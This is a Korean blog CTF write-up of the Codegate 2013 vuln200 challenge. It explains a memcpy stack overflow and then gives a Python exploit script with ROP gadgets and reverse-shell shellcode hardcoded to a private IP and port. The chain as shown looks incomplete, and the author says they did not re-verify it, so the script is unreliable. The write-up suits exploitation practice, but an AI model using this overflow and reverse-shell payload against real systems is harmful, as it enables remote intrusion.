본문 바로가기

CTF/Write-up

codegate 2013 vuln200

이건 nc 서버 때문에 시간을 다 잡아먹었다.

포트를 7777로 맞춰놓고 서버를 세팅해놔도 ㅂㄷㅂㄷ이다 Bind Error은 왜 자꾸 뜨는지 모르겠다.....


자 문제를 풀어보자


프로그램을 실행하면 이렇게 나오는데

ida로 보면


recv 함수의 리턴값은 recv 바이트 수를 리턴하는데 그 값이 sub_8048eeb 함수에 끝에 들어가고 0 초기화된 v13이 앞에 들어간다. 저 함수를 들어가보면


memcpy에서 취약점을 발견할 수 있다.


왜냐 a1은 v13으로 400바이트이다, len또한 400바이트이다.

v13은 내가 입력한 값이 들어가는데


dest의 크기는 236바이트이다. 더 많이 입력할 수 있으므로 오버플로우가 일어난다.


위에 보이는 5개의 메뉴말고도 하나가 더있다. write라고

write를 입력해주고 240를 채운후 익스플로잇을 하면될것이다.



쉘코드를 사용할건데 이래 만들면된다.





아래의 소스코드는 ropasaurusrex문제를 풀 때 썼던 코드를 약간 수정해서 풀었다.

from socket import *
from struct import *
from time import sleep

p = lambda x: pack("<L", x)
up = lambda x: unpack("<L", x)[0]

bss = 0x0804b0a0
ppppr = 0x0804947c
recv_plt = 0x08048780
shell =  ""
shell += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
shell += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0"
shell += "\xa8\x99\x8b\x68\x02\x00\x0e\x8a\x89\xe1\xb0\x66\x50"
shell += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
shell += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
shell += "\x0b\xcd\x80"

payload = "A"*240
payload += p(recv_plt)
payload += p(ppppr)
payload += p(4)
payload += p(bss)
payload += p(len(shell))
payload += p(0)
# recv(4, bss, len, 0)

socket = socket(AF_INET, SOCK_STREAM)
socket.connect(("192.168.153.139", 7777))

print socket.recv(1024)
socket.send("write"+payload+"\n")
print socket.recv(1024)
socket.send(shell+"\n")

풀이를 쓰기 위해 다시 우분투를 켰지만 bind error가 떠대서 던졌다




'CTF > Write-up' 카테고리의 다른 글

codegate 2014 nuclear  (0) 2017.01.13
holyshield pwnit  (0) 2017.01.10
Layer7 ctf 2015 IhaveLongDariYouHaveShotDari  (6) 2017.01.07
Pico ctf 2014 rop1  (0) 2017.01.05
NEWSECU CTF Write-up  (0) 2017.01.01